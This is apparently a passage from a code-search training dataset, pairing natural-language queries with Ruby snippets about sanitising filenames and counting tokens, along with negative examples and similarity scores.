inname.gsub(/[\\s\\/\\\\?*#+]/,'') # Remove illegal chars (replace with underscore).\r\n outname.gsub!(/_+/,\"_\") # Replace consecutive uscores with single uscore.\r\n outname.gsub!(/\\./,\"-\") # Replace period with dash.\r\n outname.gsub!(/[\\(\\)\\$]/,\"\") # Remove L & R Parens, dollar signs.\r\n outname.gsub!(/\\%/,\"Perc\") # Replace '%' with Perc.\r\n\r\n outname\r\n end", "def filename(name)\n # Reemplaza letras con acentos y ñ\n filename = name.gsub('á','a').gsub('é','e').gsub('í','i').gsub('ó','o').gsub('ú','u').gsub('ñ','n').downcase\n return filename\nend", "def sanitize_as_filename\n self.gsub(/^.*(\\\\|\\/)/, '').transliterate.downcase.gsub(/[^a-z0-9\\. ]/, ' ').strip.gsub(/[ ]+/, '-')\n end", "def validate_filename string\n raise BadFilenameError.new string if /[\\?\\*\\\\\\/]/.match(string)\n end", "def name_cleaner(raw_string)\n return raw_string.gsub(/[^A-Za-z0-9_\\-\\.]/, '_')\n end", "def safe_filename( filename )\n ret = filename\n\n # remove commas\n ret = ret.gsub( /,/, '' )\n\n # remove colons\n ret = ret.gsub( /:/, '' )\n\n # change spaces to underscores\n ret = ret.gsub( / /, '_' )\n\n return ret\n end", "def sanitized\n @filename.encode(Encoding::UTF_8, invalid: :replace, undef: :replace, replace: \"�\").strip.tr(\"\\u{202E}%$|:;/\\t\\r\\n\\\\\", \"-\")\n end", "def clean_filename(filename)\n\t\tUtf8Converter.convert_ka_to_en(filename.gsub(' ', '_').gsub('»', '_').gsub(/[\\\\ \\/ \\: \\* \\? \\\" \\< \\> \\| \\, \\. ]/,''))\n\tend", "def clean_filename(filename)\n\t\tUtf8Converter.convert_ka_to_en(filename.gsub(' ', '_').gsub(/[\\\\ \\/ \\: \\* \\? \\\" \\< \\> \\| \\, \\. ]/,''))\n\tend", "def sanitize_filename\n name = self.strip\n #--- get only the filename, not the whole path\n name.gsub! /^.*(\\\\|\\/)/, ''\n\n #--- Finally, replace all non alphanumeric, underscore or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n return name\n end", "def safe_file_name(filename)\n basename = File.basename(filename)\n all_ascii = true\n basename.each_byte do |c|\n if c>=128\n all_ascii = false\n break\n end\n end\n\n\n if(all_ascii)\n yield(filename)\n else\n new_file_name = File.dirname(filename) + '/' + (0...8).map{ ('a'..'z').to_a[rand(26)] }.join + File.extname(filename)\n FileUtils.cp(filename,new_file_name)\n yield(new_file_name)\n FileUtils.rm(new_file_name)\n end\n end", "def cfn_safe(string)\n string.gsub(/[\\W_]/, '-')\n end", "def sanitized_filename(filename)\n filename.strip.tap do |name|\n # NOTE: File.basename doesn't work right with Windows paths on Unix\n # get only the filename, not the whole path\n name.sub! /\\A.*(\\\\|\\/)/, ''\n # Finally, replace all non alphanumeric, underscore\n # or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n end\n end", "def sanitize_filename(value)\n # get only the filename, not the whole path\n just_filename = value.gsub(/^.*(\\\\|\\/)/, '')\n # Finally, replace all non alphanumeric, underscore or periods with underscore\n just_filename.gsub(/[^\\w\\.\\-]/,'_') \n end", "def path_to_safe_filename(path)\n path = '/' if path == ''\n normalize_path(path).gsub('/', '?').gsub(/[ :]/, '_')\n end", "def sensu_safe(string)\n string.gsub(/[^\\w\\.-]+/, '_')\n end", "def sanitize_filename(filename)\n fn = filename.split(/(?<=.)\\.(?=[^.])(?!.*\\.[^.])/m)\n fn.map! { |s| s.gsub /[^a-z0-9\\-]+/i, '_' }\n return fn.join '.'\nend", "def safe_name\n name.to_s.gsub(/[^a-zA-Z0-9 _\\-:\\.]/, '').gsub(/:/, ' - ').gsub(/ +/, ' ')\n end", "def _sanitize_name(name)\n name.to_s.tr_s('^a-zA-Z0-9', '_')\n end", "def filename(string)\n\tstring.gsub! \"'\", '\"'\n\tstring[%r{(?<=\")[\\./]*[\\w\\.-]+(/[\\w\\.-]+)*\\.[a-z\\.]+(?=\")}i] # (?:\\.|'|\")\nend", "def _prepareName ( name )\n name.to_s.gsub /[\\W]/, ''\n end", "def sanitise(str)\n str.gsub(/[^a-zA-Z0-1]+/, \"_\")[0, 20]\n end", "def valid_new_filename(file)\n new_file = file\n counter = 0\n while File.exist?(new_file) do\n counter += 1\n ext = File.extname(file)\n basename = file.split(ext).first\n new_file = \"#{basename}_#{counter}#{ext}\"\n end\n new_file\n end", "def safe_name(name)\n @@safe_names[name] || @@safe_names[name] = name.gsub(/[^a-zA-Z0-9_]/) do |s|\n \"__#{Character.getName(s[0].to_i).gsub(/[^a-zA-Z0-9_]/, '_').downcase!}\"\n end\n end", "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end", "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end", "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end", "def sanitize_filename(filename)\n filename.gsub(/.*[\\/\\\\]/, '')\n end", "def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end", "def sanitize_name(name)\n name.gsub!(' ', '_')\n name.downcase!\n name.gsub!('-', '_')\n name.gsub!('\\'', '_')\n name\n end", "def sanitize_name(name)\n name.gsub(/\\//,\"\").gsub(/\\s/, \"-\").downcase\nend", "def sanitize_file_name_as_name\n sanitized_name_array = name.split('.')\n sanitized_name_array.pop if sanitized_name_array.length > 1\n self.name = sanitized_name_array.join('.').tr('-_', ' ').split.map(&:capitalize)*' '\n end", "def safe_name\n name.gsub(/(^[0-9]*|[^0-9a-z])/i, '')\n end", "def sanitize_filename(fname, separator: '_')\n # Replace accented chars with their ASCII equivalents.\n fname = fname.encode('utf-8', invalid: :replace, undef: :replace, replace: '_')\n\n # Turn unwanted chars into the separator.\n fname.gsub!(/[^a-z0-9\\-_]+/i, separator)\n\n re_sep = Regexp.escape(separator)\n re_duplicate_separator = /#{re_sep}{2,}/\n re_leading_trailing_separator = /^#{re_sep}|#{re_sep}$/i\n\n # No more than one of the separator in a row.\n fname.gsub!(re_duplicate_separator, separator)\n\n # Finally, Remove leading/trailing separator.\n fname.gsub(re_leading_trailing_separator, '')\n end", "def clean_name\n clean_name = name.strip\n clean_name.gsub!(/\\s+/,'_')\n clean_name.gsub!(/[^0-9A-Za-z_-]/, '_')\n clean_name\n end", "def clean_filename(filename)\n valid_filename_regexp = /[\\s+\\\\\\/*?:\\\"<>|]/\n filename.gsub(valid_filename_regexp, '')\n end", "def normalize_filename(locality)\n return locality.gsub!(/[^0-9A-Za-z.\\-]/, '_')\n end", "def escape_name(name)\n escaped_name = \"\"\n name.each_char do |char|\n if (char =~ /[-A-Za-z0-9_]/) != nil\n escaped_name += char\n else\n converted_char = TAG_NAME_MAP[char]\n if not converted_char\n msg = \"Bad character '#{char}' in tag '#{name}'\"\n puts(\"*** #{msg}\")\n raise FatalException.new(msg)\n end\n escaped_name += converted_char\n end\n end\n return escaped_name\n end", "def sanitize_filename(filename)\n @original_filename = filename\n # TODO: replace with GenericFile?\n StashEngine::DataFile.sanitize_file_name(filename)\n end", "def to_valid_tag(name)\n name.gsub(/[^a-zA-Z_\\-\\:\\.\\d\\/]/, \"__\")\n end", "def sanitize(name)\n name.gsub(\".\", \"_\")\nend", "def sanitize_path_string(str)\n quoted_name = VIM::escape_for_single_quotes(str)\n ::VIM::evaluate(\"fnameescape('#{quoted_name}')\")\n end", "def sanitize_filename(filename)\n filename.split(/\\\\|\\//)[-1]\n end", "def confirm_filename(filename)\n filename.gsub!(/[<>:\"\\/\\\\|?*]/) { \"\" }\n end", "def slugify(filename)\n filename.downcase.gsub(/[^0-9a-z]/i, '-')\nend", "def escape(str)\n str.to_s.gsub(/[^*\\-.0-9A-Z_a-z]/) { |c| TBLENCWWWCOMP_[c] }\n end", "def filename\n original_filename.try(:gsub, '+', '-')\n end", "def clean_filename\n doc_file_name.gsub!(' ', '_')\n end", "def filename(name)\n @filename = name.downcase.strip.gsub(' ', '-')\n end", "def escape_filename(text)\n # NOTE: only leading [+>] are escaped (according to builtin :h fnameescape).\n # [-] is escaped when it's the only char in a name (to prevent confusion\n # with `cd -` argument)\n text\n .to_s\n .gsub(/([\\t\\n *%$'\"<{\\[\\\\])/, '\\\\\\\\\\1')\n .sub(/^([+>])/, '\\\\\\\\\\1')\n .sub(/^-$/, '\\\\-')\n end", "def sanitize_name(str)\n str.gsub(' ','_').downcase.gsub(\"&\", \"and\")\n end", "def fix_drive_letter path\r\n return path unless path.match(/^[a-z]:/)\r\n path[0].upcase + path[1..-1]\r\n end", "def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\nend", "def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end", "def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end", "def get_filename(text)\n if text =~ /[^\\w\\.\\-_]/\n Digest::SHA256.hexdigest(text)\n else\n text\n end\nend", "def likeEscape( str )\n str.gsub( \"\\\\\", \"\\\\\\\\\" ).gsub( \"%\", \"\\%\" ).gsub( \"_\", \"\\_\" )\n end", "def clean_filename\n if filename.present?\n cleaned_filename = cleaned_basename = basename.gsub(/[^a-z0-9\\-_]/i, '-')\n cleaned_filename = \"#{cleaned_basename}.#{extension.downcase}\" if extension\n self.filename = cleaned_filename\n end\n end", "def sterilize(file_name)\n f = file_name.dup\n f.gsub!(/[\\s]/, '_')\n PATTERNS.each { |p| f.gsub!(p, '_') }\n f\n end", "def fix_drive_letter path\n return path unless path.match(/^[a-z]:/)\n path[0].upcase + path[1..-1]\n end", "def clean(name)\n name.gsub(/[^a-zA-Z0-9-]/, '-')\n end", "def scrubbed_name\n extension = @fileName.split(\".\")[@fileName.split(\".\").length-1]\n \n if @season.to_i < 10\n season_string = \"S0{#@season}\"\n else\n season_string = \"S#{@season}\"\n end\n \n if @episode.to_i < 10\n episode_string = \"E0#{@episode}\"\n else\n episode_string = \"E#{@episode}\"\n end \n \n [@name.gsub(\" \",\".\"),[season_string,episode_string].join(\"\"),extension].join(\".\")\n end", "def mangle_name(str)\n str.to_s.sub(/\\?$/, '_p')\n end", "def escapeRFC3986(str)\r\n return URI.escape(str, /[^A-Za-z0-9\\-_.~]/)\r\nend", "def formalize(string)\n string.downcase.gsub(/'\"/, '').gsub(/[^a-z0-9_]/, '-').squeeze('-')[0..250].sub(/-$/, '')\n end", "def change_name(original)\n original.gsub!(' ','_')\n INVALID_CHARS.split('').each do |char|\n original.gsub!(char,'')\n end\n original.downcase\n end", "def error_for_new_doc_name(filename, extension)\n full_file_name = filename + \".\" + extension\n if !(1..20).cover?(filename.size)\n return \"File name must be between 1 and 20 characters\"\n elsif find_by_name(full_file_name)\n return \"File name must be unique\"\n elsif (filename =~ /(^[A-Za-z][A-Za-z0-9_]+)$/).nil?\n return \"Invalid file name. File must begin with an alpha character. The rest of the file name can only contain alphanumeric characters and underscores\"\n end\n nil\nend", "def to_filename(filename, size)\n filename.gsub! /^.*(\\\\|\\/)/, ''\n filename.gsub!(/[^0-9A-Za-z.\\-]/, '') \n filename.downcase.slice! 0..size\nend", "def name_to_file(name)\n array = name.scan(/[A-Z][a-z]*/)\n raise TypeError, Ajaila::Messager.warning(\"The name of variable should start with capital letter: \\\"table:MyTable\\\"\") if array == []\n return array.map(&:downcase).join(\"_\")\n end", "def fix_drive_letter(path); end", "def create_unique_filename( text_value, suffix = DateTime.now.strftime(\"_%Y%m%d_%H%M\") )\n text_value.gsub(/[òàèùçé\\^\\!\\\"\\'£\\$%&?\\.\\,;:§°<>]/,'').gsub(/[\\s|]/,'_').gsub(/[\\\\\\/=]/,'-') + suffix\n end", "def clean_name\n @name.tr('/:', '_')\n end", "def file_title(title)\n title.downcase.gsub(/\\s+/, '-').gsub(/-{2,}/, '-').gsub(':', '')\nend", "def sanitize(s)\n sani = \"\"\n s.each_byte do |c|\n if (c == 32 || (c >= 48 && c <= 57) || (c >= 65 && c <= 90) || (c >= 97 && c <= 122))\n sani += c.chr\n end\n end\n sani.gsub!(' ', '_')\n sani\nend", "def clean_mp4_name(file)\n regex = /(.mkv)$/\n 'converted_' + file.gsub(regex, '') + '.mp4'\n end", "def sanitize_filename(filename)\n perform_ipad_renaming(filename\n .gsub('Grey', 'Gray') # some Apple devices have \"Grey\" instead of \"Gray\" color -> unify\n .gsub(' - Portrait', '') # iPads Pro include Portrait and Landscape - we just need Portrait; Landscape filtered via DEVICES_TO_SKIP\n .gsub(' - ', ' ') # Google Pixel device names are separated from their colors by a dash -> remove\n .gsub('Note10', 'Note 10') # Samsung Galaxy Note 10 is missing a space in \"Note10\"\n .gsub('Mi Mix Alpha Front', 'Mi Mix Alpha')) # Xiaomi Mi Mix Alpha contains the words \"Front\", \"Back\" and \"Side\" => back and side are filtered via DEVICES_TO_SKIP, \"Front\" removed from the name here\nend", "def fix_filename\n unless self.filename.blank?\n self.filename.sub!(/^.*\\/([^\\/]*)$/, '\\1')\n self.filename += '.torrent' unless self.filename =~ /\\.torrent$/\n end\n end", "def make_key(string)\n string.to_s.strip.downcase.gsub(key_replace, '_')\n end", "def safe_parameterize(str)\n if str.chars.all? { |c| c.bytes.count == 1 }\n str.parameterize\n else\n # At least change spaces to dashes\n str.gsub(/\\s+/, '-')\n end\n end", "def parse_filename(string)\n string.sub(/^\\//, '') #remove leading slash\n end", "def file_name(title)\n name = title.gsub(/[\\r\\n]/, ' ')\n .gsub(/[^a-zA-Z\\d\\s]/, '')\n .tr(' ', '_')\n\n name.length > 31 ? name[0..30] : name\n end", "def file_name(title)\n name = title.gsub(/[\\r\\n]/, \" \")\n .gsub(/[^a-zA-Z\\d\\s]/, \"\")\n .gsub(/ /, \"_\")\n\n name.length > 31 ? name[0..30] : name\n end", "def awful_file_name\n (((0x00..0x7f).to_a - [0x00, 0x0a, 0x2b, 0x2f]).map { |n| n.chr }).join + '.txt'\n end", "def safe_filename(id, suffix = \"\")\n filename = \"#{id}_#{Time.now.getutc}_#{suffix}\"\n filename.gsub(/\\s+/, '_').gsub(/[^0-9A-Za-z_\\.]/, '')\n end" ]
[ "0.754329", "0.7450146", "0.7327896", "0.72800845", "0.7246733", "0.7091246", "0.7005828", "0.6967111", "0.693666", "0.6900494", "0.6892696", "0.6807901", "0.6796349", "0.67833716", "0.67274487", "0.6720834", "0.6719827", "0.6714422", "0.6700311", "0.6671916", "0.66450536", "0.6625845", "0.6595444", "0.65462774", "0.6518208", "0.6481313", "0.6466856", "0.643286", "0.6375556", "0.6315188", "0.6312719", "0.62991774", "0.62778807", "0.6269703", "0.6250205", "0.62270766", "0.6211564", "0.61930436", "0.611439", "0.61106944", "0.61083555", "0.61083555", "0.61083555", "0.61083555", "0.6099767", "0.6084455", "0.6071392", "0.6036817", "0.6017491", "0.5990951", "0.597841", "0.5963678", "0.5962633", "0.59553546", "0.5922314", "0.5920442", "0.5904403", "0.5903826", "0.58824944", "0.58824104", "0.5855318", "0.5849006", "0.58420676", "0.58380944", "0.58113164", "0.5807638", "0.5776111", "0.57685393", "0.57329464", "0.57310295", "0.57310295", "0.57309765", "0.5723795", "0.5713756", "0.57128274", "0.5710944", "0.56978726", "0.5696036", "0.5686849", "0.5672208", "0.5669438", "0.566853", "0.5649349", "0.5639638", "0.5636889", "0.56258476", "0.56115323", "0.56083316", "0.5608285", "0.55968326", "0.559536", "0.55953074", "0.5593941", "0.55921185", "0.55900025", "0.55846953", "0.5561505", "0.55569047", "0.5552102", "0.5545442" ]
0.70906
6
Returns the number of tokens in this text.
def length @tokens.length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count_tokens()\n @counts = Hash.new(0)\n @tokens.each do |token|\n @counts[token] += 1\n end\n @counts\n end", "def number_of_tokens\r\n return MONOPOLY_GAME[:tokens].count\r\nend", "def word_number\n text.split.size\n end", "def count_tokens(type)\n token_tuples(type).count\nend", "def num_chars\n @text.length\n end", "def number_of_characters\n @text.length\n end", "def get_token_total( token )\n return token_counts( token, nil )\n end", "def numTokens()\n uri = '/api/user/%s/tokens/' % @fields['username']\n return Integer(call_api_urlencoded(uri))\n end", "def number_of_tokens\n result = MONOPOLY_GAME[:tokens].count\n\nend", "def number_of_chars\n text.to_s.number_of_chars\n end", "def whitespace_token\n return nil unless md=WHITESPACE.match(@chunk)\n input = md.to_a[0]\n input.length\n end", "def word_count(text)\n return text.split.count\nend", "def word_count\n return words.size\n end", "def count\n @words.length\n end", "def token_count(token)\n @data.keys.reduce(0) do |acc, key|\n acc += @data[key][token].to_i\n acc\n end\n end", "def whitespace_token\n return if !(match = @chunk.match(WHITESPACE)) || (@chunk[0] == \"\\n\")\n prev = @tokens[-1]\n prev.send(match ? :spaced= : :new_line=, true) if prev\n match ? match[0].size : 0\n end", "def whitespace_token\n if md=WHITESPACE.match(@chunk)\n input = md.to_a[0]\n input.length\n else\n did_not_match\n end\n end", "def length\n text.length\n end", "def count_sentences\n array = self.split(/[.!?]\\s/)\n array.count\n end", "def count_sentences\n self.split(/[.!]/).count\n end", "def word_count\n words.size\n end", "def word_count\n words.size\n end", "def num_words\n @words.length\n end", "def word_count\n @@word_count\n end", "def all_token_counts\n token_array = []\n self.data.each do |token, count|\n\ttoken_array.push( count )\n end\n return token_array\n end", "def count_sentences\n self.split(/[.?!] /).count\n end", "def tokens_num(string)\n s = string.split\n [\n s.grep(/\\A([a-z]|[A-Z]|_)\\w*\\Z/).length,\n s.grep(/\\A0\\Z|\\A[1-9]\\d*\\Z/).length,\n s.grep_v(/(\\A0\\Z|\\A[1-9]\\d*\\Z)|(\\A([a-z]|[A-Z]|_)\\w*\\Z)/).length\n ]\nend", "def line_count\n\t\t\treturn @contents.nil? ? 0 : @contents.count\n\t\tend", "def calculate\n @text.scan(\"#{@keyword}\").size\n end", "def comments_word_count\n self.turker_comments.present? ? self.turker_comments.split(/\\s/).length : 0\n end", "def count_sentences\n \n self.split(/[.?!]+/).count\n \n end", "def count_sentences\n self.split(/[.!?]/).reject {|x| x.empty?}.size\n end", "def nr_of_words\n html_remove.split.size\n end", "def word_counter\n \"This is a string\".split.size\nend", "def tokens\n @tokens ||= Tokeniser.instance.tokenise(text)\n end", "def line_count\n\t\tlines.size\n\tend", "def line_count\n\t\tlines.size\n\tend", "def get_token_counts( token, pool_name )\n return token_counts( token, pool_name )\n end", "def word_counter(sentence)\n return sentence.split(' ').length #makes it an array, .length counts items\nend", "def number_of_words(input, mode = T.unsafe(nil)); end", "def getNumLines()\n contents.split(\"\\n\").length - 1\n end", "def count\n Jhead.call(\"-c\", @match, @pattern).split(\"\\n\").size\n end", "def total_sentences\n @string.split(/\\.+/).size\n end", "def num_paragraphs\n @paragraphs.length\n end", "def stem_token_count\n list = get_all_tokens_count.map! {|e| e[1] }\n return Stat.stem(list)\n end", "def tokenize\n # Slice each character if there's a symbol there; this leaves the symbol\n # at the end of the character array\n sliced_strings = split_on_symbol_locations(text)\n\n # Convert the final character of each string into a :symbol token, and\n # the rest into a :text token\n tokens = sliced_strings.zip(symbol_locations).flat_map do |text, sym_loc|\n if sym_loc.nil?\n # If the document doesn't end with a symbol, just return text\n Token.new(:text, text) \n else\n # If it does, return both text minus symbol, and then a symbol token\n [\n Token.new(:text, text[0...-1]),\n Token.new(:symbol, sym_loc.symbol)\n ]\n end\n end\n\n # Strip any empty tokens (can occur when symbols are adjacent)\n tokens_without_empty = reject_empty_text(tokens)\n\n # Add a :nil token to the beginning to make each_cons work properly\n tokens_without_empty.unshift(Token.new(:nil, nil))\n\n # Convert spaces at the beginning of lines to :space_count tokens\n tokens_with_space_counts = tokens_without_empty.each_cons(2).flat_map do |token1, token2|\n # We're only looking for :text tokens with :newline tokens before them\n next token2 unless token1 == Token.new(:symbol, :newline) \\\n && token2.type == :text\n\n # Count the number of spaces at the beginning of the string\n spaces_at_start = token2.value.scan(/^ */).first.length\n\n # Return a space count and a text token\n [\n Token.new(:space_count, spaces_at_start),\n Token.new(:text, token2.value.gsub(/^ +/, ''))\n ]\n end\n\n # Convert :space_count tokens to indents and dedents\n indent_level = 0 # current level of indentation\n indent_amount = nil # spaces required for an indent\n tokens_with_space_counts.flat_map do |token|\n # Only look for :space_count tokens\n next token unless token.type == :space_count\n\n # If this is any form of indentation and we don't know an indent amount\n # yet, set it\n indent_amount = token.value if indent_amount.nil? && !token.value.zero?\n\n # If we still don't know, skip\n next nil if indent_amount.nil?\n\n # Work out an indent delta\n # +x = indent by x levels, -x = dedent by x levels; x must be int\n indent_delta = token.value.to_f / indent_amount - indent_level\n raise 'invalid indentation' unless indent_delta % 1 == 0.0\n\n indent_level += indent_delta.to_i\n\n # Output tokens\n [Token.new(indent_delta.positive? ? :indent : :dedent, nil)] \\\n * indent_delta.abs\n end.reject(&:nil?)\n end", "def num_chars\n @name.split('').count\n end", "def length\n @words.length\n end", "def length\n @words.length\n end", "def wordCount\n count = 0\n\n if (@word.to_s != '')\n count += 1\n end\n\n if @children.size\n @children.each do |key, val|\n count += val.wordCount\n end\n end\n\n count\n end", "def total_words\n words.size\n end", "def num_lines() @line_indices.length + 1 end", "def count_sentences\n self.split(/[.!?]/).reject {|x| x.empty?}.size\n \n end", "def length\n words.reject { |w| w.rel == 'punct' }.length\n end", "def word_count(all_lines_from_file)\n all_lines_from_file.split.length\nend", "def num_notes\n matches = @token.match(/^Lig(\\d+)/)\n throw :unrecognized, 'no_match' if matches.nil?\n return matches[1].to_i\n end", "def numWords\n @words\n end", "def get_token_length(key)\n get_option(key, :token_length)\n end", "def has_tokens?(i = 0)\n tokens.size > i\n end", "def calculate_word_count\n 0x0C\n end", "def WordCount(str)\n\n # code goes here\n return str.split(\" \").length # .split.count, split(‘ ’).size\n \nend", "def total_included_characters\n included_paragraphs_joined.split(/./).size\n end", "def consumed_chars\n return scanner.charpos if scanner.respond_to?(:charpos)\n\n (scanner.pre_match + scanner.matched).scan(%r{.}mu).length\n end", "def process\n tokenize(text).each do |word|\n token = TfIdfSimilarity::Token.new word\n if token.valid?\n @term_counts[token.lowercase_filter.classic_filter.to_s] += 1\n end\n end\n @size = term_counts.values.reduce(:+)\n end", "def number_token\n return nil unless md = NUMBER.match(@chunk)\n number = md.to_a[0]\n token :Number, number\n number.length\n end", "def tokens\n @tokens ||= tokenize_input\n end", "def count\n @symbols.count\n end", "def token_counts( token=nil, pool_name=nil )\n if token.nil? \n\t\n\tif pool_name.nil? #token and pool is nil | system total count\n\t \n\t systemtotal = 0.0\n\t self.pools.each do |pool_name, pool|\n\t systemtotal += pool.token_count\n\t end\n\t return systemtotal\n\t \n\telse #token nil pool specified | pool total count\n\t \n\t pooltotal = self.pools[pool_name].token_count\n\t return pooltotal\n\t \n\tend\n\t\n else\n\t\n\tif pool_name.nil? #token specified & pool is all | token total count\n\t \n\t tokentotal = 0.0\n\t self.pools.each do |name,pool|\n\t unless name == '__Corpus__'\n\t tokentotal += token_counts( token, name )\n\t end\n\t end\n\t return tokentotal\n\t \n\telse #token and pool specified\n\t \n\t token_count = self.pools[pool_name].data[token]\n\t return token_count\n\t \n\tend\n\t\n end\n end", "def count\n self.wordcounts.map(&:count).inject(0, :+)\n end", "def word_counter (string)\n array = string.split\n array.length\nend", "def paragraph_count(all_lines_from_file)\n all_lines_from_file.split(/\\n\\n/).length\nend", "def tokens\n @tokens ||= scanner.tokenize(input)\n end", "def word_counts(text)\n\tword_list = text.split(WORD_SPLIT)\n\tcounts = Hash.new(0)\n\tword_list.each { |word| counts[word] += 1 }\n\treturn counts\nend", "def analyze_text(text)\n {\n :line_count => (text.split(/\\n/).last.chomp.empty? ? text.scan(/\\n/).count + 1 : text.scan(/\\n/).count),\n :character_count => text.length,\n :character_count_excluding_spaces => text.scan(/\\S/).length,\n :word_count => text.split(' ').length,\n :sentence_count => text.split(/[\\.?!]/).length,\n :paragraph_count => text.split(/\\n\\r/).length\n }\nend", "def line_token\n return unless match = @chunk.match(MULTI_DENT)\n\n indent, _ = *match\n size = indent.size - 1\n incomplete = unfinished\n\n #\n # elements.\n # ...foo. <- size: 4, indebt: 0, indent: 0\n # ...bar. <- size: 4, indebt: 4, indent: 4\n # -- case 1. finished && outdented\n # batman <- size: 0, indebt: 4, indent: 0\n # -- case 2. finished && same indent\n # ...batman size: 4, indebt: 4, indent: 4\n #\n if size - @indebt == @indent\n incomplete ? suppress_newlines : newline_token(0)\n return indent.size\n end\n\n if size > @indent\n if incomplete\n @indebt = size - @indent\n suppress_newlines\n return indent.size\n end\n if @tokens.size.zero?\n @base_indent = @indent = size\n return indent.size\n end\n indent_token(size, indent.size - size)\n elsif size < @base_indent\n raise_syntax_error! 'missing indentation'\n else\n @indebt = 0\n outdent_token(@indent - size, incomplete, indent.size)\n end\n\n indent.size\n end", "def calculate_word_count\n 0x0A\n end", "def length_term\n self.gsub(/\\e\\[[^m]*m/, '').length\n end", "def num_words_current\n @active_list.size\n end", "def get_number_of_hidden_tokens(i, j)\n n = 0\n input = @parser.get_token_stream\n ti = i\n while ti < input.size && ti <= j\n t = input.get(ti)\n if (!(t.get_channel).equal?(Token::DEFAULT_CHANNEL))\n n += 1\n end\n ti += 1\n end\n return n\n end", "def word_count\n @tried_solutions.length\n end", "def get_system_total()\n return token_counts( nil ,nil )\n end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tag_count\n tags.count\n end", "def num_sentences\n @sentences.length\n end", "def number_of_words(string)\n\tstring.split.size\nend", "def word_count(text, len)\r\n words, strays = text.length.divmod(len)\r\n words += 1 if strays > 0\r\n pad = \"X\" * (len - strays)\r\n return [words, pad]\r\n end", "def length\n @line.length\n end", "def count_lines\n linecount = 0\n\n @output_buffer.each do |line|\n linecount += line.scan(/\\n/).count\n end\n\n linecount - 1\n end", "def word_length\n\t\t@ans_word.length\n\tend", "def tokenizer_stats_entries_tot\n TokenExtractor.new(\n :entries_tot,\n /\\s{2}\\d+/i,\n 10\n )\n end", "def count_paragraphs(some_file)\n file_content = open(some_file).read()\n count = 0\n file_content_split = file_content.split('')\n\n file_content_split.each_index do |index|\n count += 1 if file_content_split[index] == \"\\n\" && file_content_split[index + 1] == \"\\n\"\n end\n return count\nend", "def count()\n @list_of_positions.length\n end", "def count_sentences\n \tself.split(/[.?!]/).delete_if{|obj| obj == \"\"}.count\n end" ]
[ "0.7242187", "0.7057865", "0.7049498", "0.68790025", "0.67769444", "0.67601776", "0.66924983", "0.6657637", "0.6655045", "0.6621071", "0.65733254", "0.64848965", "0.6478677", "0.6475932", "0.6357292", "0.63485956", "0.6332705", "0.6331455", "0.63176686", "0.6304615", "0.6297364", "0.6297364", "0.62641513", "0.6236859", "0.6231623", "0.62254655", "0.61892486", "0.6154746", "0.61489826", "0.6137968", "0.6128006", "0.6097994", "0.6063985", "0.6032771", "0.6019934", "0.6018307", "0.6018307", "0.6002373", "0.59960943", "0.59726477", "0.5971209", "0.5970781", "0.59620726", "0.59552467", "0.5946816", "0.5926542", "0.5901496", "0.58695936", "0.58695936", "0.5866992", "0.58527154", "0.58503455", "0.584691", "0.5827429", "0.5816184", "0.5802866", "0.57885945", "0.5775972", "0.57740295", "0.5744648", "0.5731585", "0.57274884", "0.5723157", "0.5717066", "0.5710244", "0.5704624", "0.57002735", "0.56954306", "0.56877947", "0.5687701", "0.5681293", "0.56655765", "0.56644636", "0.5662182", "0.56558794", "0.56530386", "0.5647834", "0.5644823", "0.56438714", "0.5642331", "0.5633076", "0.56282586", "0.56282586", "0.56282586", "0.56282586", "0.56282586", "0.56282586", "0.56282586", "0.56282586", "0.5611451", "0.5599887", "0.5578374", "0.5574457", "0.5571956", "0.5563912", "0.5563213", "0.55575764", "0.5556783", "0.554583", "0.55357486" ]
0.77787447
0
appends a single token to the end of this text.
def <<(new_token) @tokens << new_token end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_token(token)\n process_unknown\n @tokens << token\n @position += token.length\n end", "def text_token text, kind\n @out << text\n end", "def add_extra_token(tok)\n @extra_tokens.push(tok)\n end", "def append_space\n return if @sb_last_was_whitespace\n\n @sb_last_was_whitespace = true\n\n @text_buffer << ' '\n @token_buffer << ' '\n end", "def add_token(token)\n @token_stream.push(token)\n end", "def add(term)\n root.add Buffer.new(normalize(term) + delimiter), term\n end", "def on___end__(token)\n log \"__END__: '#{token}'\"\n super(token)\n end", "def lex_end line\n ends << line\n end", "def on_heredoc_end(token)\n log \"HEREDOC_END: '#{token}'\"\n super(token)\n end", "def append(appended_text = '')\n @text << ' ' << appended_text\n end", "def unget(token) # :nodoc:\n @tokens.unshift token\n end", "def next_token\n @current_token = @lexer.next_token\n end", "def add_tokens(tokens)\n @token_stream.concat(tokens)\n end", "def end_of_word; end", "def do__raw token\r\n if token.line and token.line.size > 0\r\n token.line.chomp + \"\\n\"\r\n else\r\n \"\\n\"\r\n end\r\n end", "def append(text); end", "def next_token\n @tokens.shift\n end", "def add_tokens(*tokens)\n tokens.flatten.each { |token| @token_stream << token }\n end", "def next_token\n tokens.shift\n end", "def on_regexp_end(token)\n log \"REGEXP_END: '#{token}'\"\n super(token)\n end", "def next_token\n\t\t@tokens.next_token\n\tend", "def on_tstring_end(token)\n log \"TSTRING_END: '#{token}'\"\n tstring_end_changed\n notify_tstring_end_observers(lineno)\n super(token)\n end", "def consume\n @current = @tokens[@pos]\n @pos += 1 if @current\n @current\n end", "def add(text)\n @text << text\n end", "def eat_eol()\n if eol_as_token # if eol is significant in the language...\n position = build_position(:lexeme)\n eol_lexeme = scanner.scan(eol_pattern) # Consume the eol text\n eol_token = [:T_EOL, RaccLexer::Token.new(eol_lexeme, eol_lexeme, position)]\n queue.unshift eol_token\n else\n 